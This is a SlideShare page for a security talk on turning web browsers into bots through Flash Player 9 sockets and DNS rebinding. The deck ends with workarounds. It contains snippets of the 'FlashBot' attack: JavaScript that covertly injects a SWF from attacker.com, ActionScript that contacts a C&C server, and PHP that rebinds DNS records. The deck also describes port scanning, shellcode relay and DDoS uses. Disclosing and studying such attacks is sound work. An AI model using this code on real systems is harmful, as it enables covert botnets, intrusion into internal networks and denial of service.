SlideShare a Scribd company logo
Zombilizing The Web Browers  Via Flash Player 9 Thai N. Duong <thaidn AT gmail DOT com> http://vnhacker.blogspot.com
Overview Flash Player 9 and its potential weaknesses Socket class Breaking the same-origin policy using  crossdomain.xml  and  DNS Spoofing Exploiting the weaknesses Introducing FlashBot Demo Workarounds
Flash Player 9 Socket  class Quote from Flash 9 documentation “ The Socket class enables ActionScript code to make socket connections and to read and write raw binary data. The Socket class is useful for working with servers that use binary protocols.”
Flash Player 9 Socket  class Quote from Flash 9 documentation “ The Socket class enables ActionScript code to make socket connections and to read and write raw binary data. The Socket class is useful for working with servers that use binary protocols.” Let's port  nmap  to  ActionScript !
Flash Player 9 Socket  class Quote from Flash 9 documentation “ The Socket class enables ActionScript code to make socket connections and to read and write raw binary data. The Socket class is useful for working with servers that use binary protocols.” Let's port  nmap  to  ActionScript ! Err wait, how about the   same-origin policy ?
Same-Origin Policy originally released with Netscape Navigator 2.0 and has been incorporated into every major browser since prevents a document or script loaded from one site of origin from manipulating properties of or communicating with a document loaded from another site of origin origin = domain name + port + protocol
Same-Origin Policy
Flash Player 9 Same-Origin Policy
Breaking the SOP: crossdomain.xml A SWF file from  a.com  may read from the server at  b.com  (using the Socket class, for example) if b.com has a cross-domain policy file that permits access from a.com (or from all domains).  <?xml version=&quot;1.0&quot;?> <!DOCTYPE cross-domain-policy SYSTEM &quot;http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd&quot;> <cross-domain-policy> <allow-access-from domain=”*” to-ports=”*” /> </cross-domain-policy> Yahoo! -  http://api.search.yahoo.com/crossdomain.xml YouTube -  http://www.youtube.com/crossdomain.xml Amazon.com - http://www.amazon.com/crossdomain.xml
DNS Pinning Explained same-origin policy origin =  domain name  + port + protocol
DNS Pinning Explained same-origin policy origin =  domain name  + port + protocol DNS is not static, and host names could potentially resolve to different addresses over the course of a browsing session. Dynamic DNS anybody? Browsers use DNS pinning to prevent attackers from manipulating DNS timeouts to their advantage. DNS pinning means that once an address is returned for a host name it is used for the duration of the browsing session, regardless of the DNS timeout associated with the domain
DNS Pinning same-origin policy origin =  domain name  + port + protocol DNS is not static, and host names could potentially resolve to different addresses over the course of a browsing session.  Browsers use DNS pinning to prevent attackers from manipulating DNS timeouts to their advantage. DNS pinning means that once an address is returned for a host name it is used for the duration of the browsing session, regardless of the DNS timeout associated with the domain fact: Flash Player does not pin DNS at all.
Breaking the SOP: DNS Spoofing  The user loads a SWF file from  www.attacker.com  and performs a DNS lookup for that hostname receiving  222.222.222.222  with a TTL of one second.
Breaking the SOP: DNS Spoofing The user loads a SWF file from  www.attacker.com and performs a DNS lookup for that hostname receiving 222.222.222.222 with a TTL of one second. ActionScript in the SWF file tells the Flash Player to connect back to  www.attacker.com  after two seconds, shortly after the TTL expired.
Breaking the SOP: DNS Spoofing The user loads a SWF file from  www.attacker.com and performs a DNS lookup for that hostname receiving 222.222.222.222 with a TTL of one second. ActionScript in the SWF file tells the Flash Player to connect back to www.attacker.com after two seconds, shortly after the TTL expired. Since the DNS is not longer valid, the user's Flash Player connects to the DNS server to ask where www.attacker.com is now located.
Breaking the SOP: DNS Spoofing  The user loads a SWF file from  www.attacker.com and performs a DNS lookup for that hostname receiving 222.222.222.222 with a TTL of one second. ActionScript in the SWF file tells the Flash Player to connect back to www.attacker.com after two seconds, shortly after the TTL expired. Since the DNS is not longer valid, the user's Flash Player connects to the DNS server to ask where www.attacker.com is now located. The DNS server, controlled by attackers, responds with 111.111.111.111, which points to www.example.com.
Breaking the SOP: DNS Spoofing  The user loads a SWF file from  www.attacker.com and performs a DNS lookup for that hostname receiving 222.222.222.222 with a TTL of one second. ActionScript in the SWF file tells the Flash Player to connect back to www.attacker.com after two seconds, shortly after the TTL expired. Since the DNS is not longer valid, the user's Flash Player connects to the DNS server to ask where www.attacker.com is now located. The DNS server, controlled by attackers, responds with 111.111.111.111, which points to www.example.com The SWF file located on  www.attacker.com  now has full access to www.example.com
FlashBot 101 an 130KB SWF file written in ActionScript 3.0 that works on all web browsers supporting Flash Player 9 once loaded on victim web browsers, FlashBot can leverage victim computers to execute commands received from a C&C server commands that FlashBot understands: port scaning socket relaying (i.e., to send shellcode) launching web DDoS attacks
How FlashBot works FlashBot is secretly inserted into www.example.com via JavaScript or iframe: function source() { return &quot;http://&quot; + Math.random().toString().substr(2) + &quot;.&quot; + &quot;attacker.com/ flashbot .swf&quot; ; } document.write('<object width=&quot;1&quot; height=&quot;1&quot;>');  document.write('<embed src=&quot;' + source() + '&quot; type=&quot;application/x-shockwave-flash&quot; width=&quot;1&quot; height=&quot;1&quot;>'); document.write('</embed></object>');
How FlashBot works Victim visits  www.example.com  to load FlashBot from http://<random-subdomain>.attacker.com/flashbot.swf ActionScript in FlashBot connects back to the C&C server: private function getCommand(subdomain:String, domain:String):void { var cnc: String = &quot;http://cnc&quot; + &quot;.&quot; + domain; var connection:NetConnection  = new NetConnection(); connection.connect(cnc + &quot;/flashservices/gateway.php&quot;); connection.call(&quot;FlashBot.getCommand&quot;, responder, subdomain, domain); }
How FlashBot works C&C server sends to FlashBot a command which is associated with a target IP address C&C server automatically updates the DNS server (powered by PowerDNS) to map the subdomain of victim to the target IP address: $query = &quot;SELECT 1 FROM records WHERE name = ' $record_name '&quot;; $result = mysql_query($query); if ( mysql_num_rows($result) ) { $query = &quot;UPDATE records SET content=' $ip ' WHERE name='$record_name'&quot;; }  else {   $query = &quot;INSERT INTO records VALUES (NULL, 2, '$record_name', 'A', '$ip', ' 6 ', NULL, NULL)&quot;; }
How FlashBot works ActionScript in FlashBot waits for the DNS information expires: timer1 = new Timer(  10  * 1000, 1 ); timer1.addEventListener( TimerEvent.TIMER,  exeCommand  ); timer1.start(); FlashBot executes the command, and (optionally) sends the result back to C&C then to start over the whole process.
Show Time! - set your  DNS server  to 221.133.4.24 - start  Wireshark  to see what you send out!
Demo 1: port scanning works on Firefox scan 127.0.0.1 scan all other hosts in the same subnet with the victim http://www.example.com/scanport.html
Demo 2: socket relaying works on all browsers supporting Flash Player 9 relay socket connection to any IP address in the intranets and the Internet can be used to send shellcodes, spam mails, launch DDoS attacks http://www.example.com/relay.html
Workarounds disable Flash Player (and all other plugins) in your web browser. still want to watch youtube.com? use Firefox + NoScript + FlashBlock restrict browser access to only port 80 and 443 using a personal firewall
Thanks DAB Security Team VNSecurity Team, esp. rd and aquynh http://christ1an.blogspot.com http://www.jumperz.net theresacow: I own you a hug ;).
Zombilizing The Web Browers  Via Flash Player 9 Thank you! Questions/Comments? Thai N. Duong

More Related Content

PPT
Dos threats and countermeasures
PDF
Just curl it!
PDF
Http3 fullstackfest-2019
PDF
Compression Oracle Attacks on VPN Networks
PDF
PDF
Null HYD VRTDOS
PDF
Running At 99%: Mitigating App DoS
ODP
The Good News on Cryptography
Dos threats and countermeasures
Just curl it!
Http3 fullstackfest-2019
Compression Oracle Attacks on VPN Networks
Null HYD VRTDOS
Running At 99%: Mitigating App DoS
The Good News on Cryptography

What's hot (20)

PDF
Keeping your rack cool
PDF
Practical Exploitation - Webappy Style
PDF
curl better
PDF
Dns tunnelling its all in the name
PDF
FastNetMonを試してみた
PDF
HTTP/3 in curl 2020
PPTX
I See You
PPT
PDF
Security and Privacy on the Web in 2015
ODP
HTTP Basic - PHP
PDF
HTTP/3 in curl
PDF
Protect your edge BGP security made simple
PDF
FastNetMon - ENOG9 speech about DDoS mitigation
PDF
Securing your web infrastructure
PPTX
DDoS: practical survival
PPTX
Dirty Little Secrets They Didn't Teach You In Pentest Class v2
PDF
Owning the bad guys
PDF
Why isn't infosec working? Did you turn it off and back on again?
PDF
Wrath of Ransomware_Longinus Timochenco
PDF
Ripe71 FastNetMon open source DoS / DDoS mitigation
Keeping your rack cool
Practical Exploitation - Webappy Style
curl better
Dns tunnelling its all in the name
FastNetMonを試してみた
HTTP/3 in curl 2020
I See You
Security and Privacy on the Web in 2015
HTTP Basic - PHP
HTTP/3 in curl
Protect your edge BGP security made simple
FastNetMon - ENOG9 speech about DDoS mitigation
Securing your web infrastructure
DDoS: practical survival
Dirty Little Secrets They Didn't Teach You In Pentest Class v2
Owning the bad guys
Why isn't infosec working? Did you turn it off and back on again?
Wrath of Ransomware_Longinus Timochenco
Ripe71 FastNetMon open source DoS / DDoS mitigation
Ad

Similar to Zombilizing The Web Browser Via Flash Player 9 (20)

PPT
Flash Security, OWASP Chennai
PDF
DNS Rebinding Attack
PPTX
Flash it baby!
PPT
Dmk Bo2 K7 Web
PPT
Design Reviewing The Web
PPT
DDoS Attacks and Countermeasures
PPT
Dmk bo2 k7_web
PPT
Web Browsers And Other Mistakes
PDF
Black hat usa_2015-bypass_surgery-6_aug2015
PPT
Web Browsers And Other Mistakes
PPTX
NMS Media Services Jobshet 1 to 5 Summary
PDF
Xfocus xcon 2008_aks_oknock
PDF
Web Security - Introduction v.1.3
PDF
Web Security - Introduction
PDF
NotaCon 2011 - Networking for Pentesters
PDF
Hitbkl 2012
 
PDF
BIND’s New Security Feature: DNSRPZ - the &quot;DNS Firewall&quot;
PDF
Progressive Enhancement with Flash
KEY
Flash And Dom
Flash Security, OWASP Chennai
DNS Rebinding Attack
Flash it baby!
Dmk Bo2 K7 Web
Design Reviewing The Web
DDoS Attacks and Countermeasures
Dmk bo2 k7_web
Web Browsers And Other Mistakes
Black hat usa_2015-bypass_surgery-6_aug2015
Web Browsers And Other Mistakes
NMS Media Services Jobshet 1 to 5 Summary
Xfocus xcon 2008_aks_oknock
Web Security - Introduction v.1.3
Web Security - Introduction
NotaCon 2011 - Networking for Pentesters
Hitbkl 2012
 
BIND’s New Security Feature: DNSRPZ - the &quot;DNS Firewall&quot;
Progressive Enhancement with Flash
Flash And Dom
Ad

Recently uploaded (20)

PDF
Reach Out and Touch Someone: Haptics and Empathic Computing
PPT
Teaching material agriculture food technology
PDF
Machine learning based COVID-19 study performance prediction
PDF
cuic standard and advanced reporting.pdf
PPTX
MYSQL Presentation for SQL database connectivity
PDF
The Rise and Fall of 3GPP – Time for a Sabbatical?
PDF
Diabetes mellitus diagnosis method based random forest with bat algorithm
PPTX
Spectroscopy.pptx food analysis technology
PDF
Building Integrated photovoltaic BIPV_UPV.pdf
PDF
Dropbox Q2 2025 Financial Results & Investor Presentation
PPTX
Programs and apps: productivity, graphics, security and other tools
PDF
Empathic Computing: Creating Shared Understanding
PPT
“AI and Expert System Decision Support & Business Intelligence Systems”
PDF
Per capita expenditure prediction using model stacking based on satellite ima...
PDF
Electronic commerce courselecture one. Pdf
PPTX
Digital-Transformation-Roadmap-for-Companies.pptx
PDF
Chapter 3 Spatial Domain Image Processing.pdf
PPTX
Detection-First SIEM: Rule Types, Dashboards, and Threat-Informed Strategy
PDF
Spectral efficient network and resource selection model in 5G networks
PDF
Unlocking AI with Model Context Protocol (MCP)
Reach Out and Touch Someone: Haptics and Empathic Computing
Teaching material agriculture food technology
Machine learning based COVID-19 study performance prediction
cuic standard and advanced reporting.pdf
MYSQL Presentation for SQL database connectivity
The Rise and Fall of 3GPP – Time for a Sabbatical?
Diabetes mellitus diagnosis method based random forest with bat algorithm
Spectroscopy.pptx food analysis technology
Building Integrated photovoltaic BIPV_UPV.pdf
Dropbox Q2 2025 Financial Results & Investor Presentation
Programs and apps: productivity, graphics, security and other tools
Empathic Computing: Creating Shared Understanding
“AI and Expert System Decision Support & Business Intelligence Systems”
Per capita expenditure prediction using model stacking based on satellite ima...
Electronic commerce courselecture one. Pdf
Digital-Transformation-Roadmap-for-Companies.pptx
Chapter 3 Spatial Domain Image Processing.pdf
Detection-First SIEM: Rule Types, Dashboards, and Threat-Informed Strategy
Spectral efficient network and resource selection model in 5G networks
Unlocking AI with Model Context Protocol (MCP)

Zombilizing The Web Browser Via Flash Player 9

  • 1. Zombilizing The Web Browers Via Flash Player 9 Thai N. Duong <thaidn AT gmail DOT com> http://vnhacker.blogspot.com
  • 2. Overview Flash Player 9 and its potential weaknesses Socket class Breaking the same-origin policy using crossdomain.xml and DNS Spoofing Exploiting the weaknesses Introducing FlashBot Demo Workarounds
  • 3. Flash Player 9 Socket class Quote from Flash 9 documentation “ The Socket class enables ActionScript code to make socket connections and to read and write raw binary data. The Socket class is useful for working with servers that use binary protocols.”
  • 4. Flash Player 9 Socket class Quote from Flash 9 documentation “ The Socket class enables ActionScript code to make socket connections and to read and write raw binary data. The Socket class is useful for working with servers that use binary protocols.” Let's port nmap to ActionScript !
  • 5. Flash Player 9 Socket class Quote from Flash 9 documentation “ The Socket class enables ActionScript code to make socket connections and to read and write raw binary data. The Socket class is useful for working with servers that use binary protocols.” Let's port nmap to ActionScript ! Err wait, how about the same-origin policy ?
  • 6. Same-Origin Policy originally released with Netscape Navigator 2.0 and has been incorporated into every major browser since prevents a document or script loaded from one site of origin from manipulating properties of or communicating with a document loaded from another site of origin origin = domain name + port + protocol
  • 8. Flash Player 9 Same-Origin Policy
  • 9. Breaking the SOP: crossdomain.xml A SWF file from a.com may read from the server at b.com (using the Socket class, for example) if b.com has a cross-domain policy file that permits access from a.com (or from all domains). <?xml version=&quot;1.0&quot;?> <!DOCTYPE cross-domain-policy SYSTEM &quot;http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd&quot;> <cross-domain-policy> <allow-access-from domain=”*” to-ports=”*” /> </cross-domain-policy> Yahoo! - http://api.search.yahoo.com/crossdomain.xml YouTube - http://www.youtube.com/crossdomain.xml Amazon.com - http://www.amazon.com/crossdomain.xml
  • 10. DNS Pinning Explained same-origin policy origin = domain name + port + protocol
  • 11. DNS Pinning Explained same-origin policy origin = domain name + port + protocol DNS is not static, and host names could potentially resolve to different addresses over the course of a browsing session. Dynamic DNS anybody? Browsers use DNS pinning to prevent attackers from manipulating DNS timeouts to their advantage. DNS pinning means that once an address is returned for a host name it is used for the duration of the browsing session, regardless of the DNS timeout associated with the domain
  • 12. DNS Pinning same-origin policy origin = domain name + port + protocol DNS is not static, and host names could potentially resolve to different addresses over the course of a browsing session. Browsers use DNS pinning to prevent attackers from manipulating DNS timeouts to their advantage. DNS pinning means that once an address is returned for a host name it is used for the duration of the browsing session, regardless of the DNS timeout associated with the domain fact: Flash Player does not pin DNS at all.
  • 13. Breaking the SOP: DNS Spoofing The user loads a SWF file from www.attacker.com and performs a DNS lookup for that hostname receiving 222.222.222.222 with a TTL of one second.
  • 14. Breaking the SOP: DNS Spoofing The user loads a SWF file from www.attacker.com and performs a DNS lookup for that hostname receiving 222.222.222.222 with a TTL of one second. ActionScript in the SWF file tells the Flash Player to connect back to www.attacker.com after two seconds, shortly after the TTL expired.
  • 15. Breaking the SOP: DNS Spoofing The user loads a SWF file from www.attacker.com and performs a DNS lookup for that hostname receiving 222.222.222.222 with a TTL of one second. ActionScript in the SWF file tells the Flash Player to connect back to www.attacker.com after two seconds, shortly after the TTL expired. Since the DNS is not longer valid, the user's Flash Player connects to the DNS server to ask where www.attacker.com is now located.
  • 16. Breaking the SOP: DNS Spoofing The user loads a SWF file from www.attacker.com and performs a DNS lookup for that hostname receiving 222.222.222.222 with a TTL of one second. ActionScript in the SWF file tells the Flash Player to connect back to www.attacker.com after two seconds, shortly after the TTL expired. Since the DNS is not longer valid, the user's Flash Player connects to the DNS server to ask where www.attacker.com is now located. The DNS server, controlled by attackers, responds with 111.111.111.111, which points to www.example.com.
  • 17. Breaking the SOP: DNS Spoofing The user loads a SWF file from www.attacker.com and performs a DNS lookup for that hostname receiving 222.222.222.222 with a TTL of one second. ActionScript in the SWF file tells the Flash Player to connect back to www.attacker.com after two seconds, shortly after the TTL expired. Since the DNS is not longer valid, the user's Flash Player connects to the DNS server to ask where www.attacker.com is now located. The DNS server, controlled by attackers, responds with 111.111.111.111, which points to www.example.com The SWF file located on www.attacker.com now has full access to www.example.com
  • 18. FlashBot 101 an 130KB SWF file written in ActionScript 3.0 that works on all web browsers supporting Flash Player 9 once loaded on victim web browsers, FlashBot can leverage victim computers to execute commands received from a C&C server commands that FlashBot understands: port scaning socket relaying (i.e., to send shellcode) launching web DDoS attacks
  • 19. How FlashBot works FlashBot is secretly inserted into www.example.com via JavaScript or iframe: function source() { return &quot;http://&quot; + Math.random().toString().substr(2) + &quot;.&quot; + &quot;attacker.com/ flashbot .swf&quot; ; } document.write('<object width=&quot;1&quot; height=&quot;1&quot;>'); document.write('<embed src=&quot;' + source() + '&quot; type=&quot;application/x-shockwave-flash&quot; width=&quot;1&quot; height=&quot;1&quot;>'); document.write('</embed></object>');
  • 20. How FlashBot works Victim visits www.example.com to load FlashBot from http://<random-subdomain>.attacker.com/flashbot.swf ActionScript in FlashBot connects back to the C&C server: private function getCommand(subdomain:String, domain:String):void { var cnc: String = &quot;http://cnc&quot; + &quot;.&quot; + domain; var connection:NetConnection = new NetConnection(); connection.connect(cnc + &quot;/flashservices/gateway.php&quot;); connection.call(&quot;FlashBot.getCommand&quot;, responder, subdomain, domain); }
  • 21. How FlashBot works C&C server sends to FlashBot a command which is associated with a target IP address C&C server automatically updates the DNS server (powered by PowerDNS) to map the subdomain of victim to the target IP address: $query = &quot;SELECT 1 FROM records WHERE name = ' $record_name '&quot;; $result = mysql_query($query); if ( mysql_num_rows($result) ) { $query = &quot;UPDATE records SET content=' $ip ' WHERE name='$record_name'&quot;; } else { $query = &quot;INSERT INTO records VALUES (NULL, 2, '$record_name', 'A', '$ip', ' 6 ', NULL, NULL)&quot;; }
  • 22. How FlashBot works ActionScript in FlashBot waits for the DNS information expires: timer1 = new Timer( 10 * 1000, 1 ); timer1.addEventListener( TimerEvent.TIMER, exeCommand ); timer1.start(); FlashBot executes the command, and (optionally) sends the result back to C&C then to start over the whole process.
  • 23. Show Time! - set your DNS server to 221.133.4.24 - start Wireshark to see what you send out!
  • 24. Demo 1: port scanning works on Firefox scan 127.0.0.1 scan all other hosts in the same subnet with the victim http://www.example.com/scanport.html
  • 25. Demo 2: socket relaying works on all browsers supporting Flash Player 9 relay socket connection to any IP address in the intranets and the Internet can be used to send shellcodes, spam mails, launch DDoS attacks http://www.example.com/relay.html
  • 26. Workarounds disable Flash Player (and all other plugins) in your web browser. still want to watch youtube.com? use Firefox + NoScript + FlashBlock restrict browser access to only port 80 and 443 using a personal firewall
  • 27. Thanks DAB Security Team VNSecurity Team, esp. rd and aquynh http://christ1an.blogspot.com http://www.jumperz.net theresacow: I own you a hug ;).
  • 28. Zombilizing The Web Browers Via Flash Player 9 Thank you! Questions/Comments? Thai N. Duong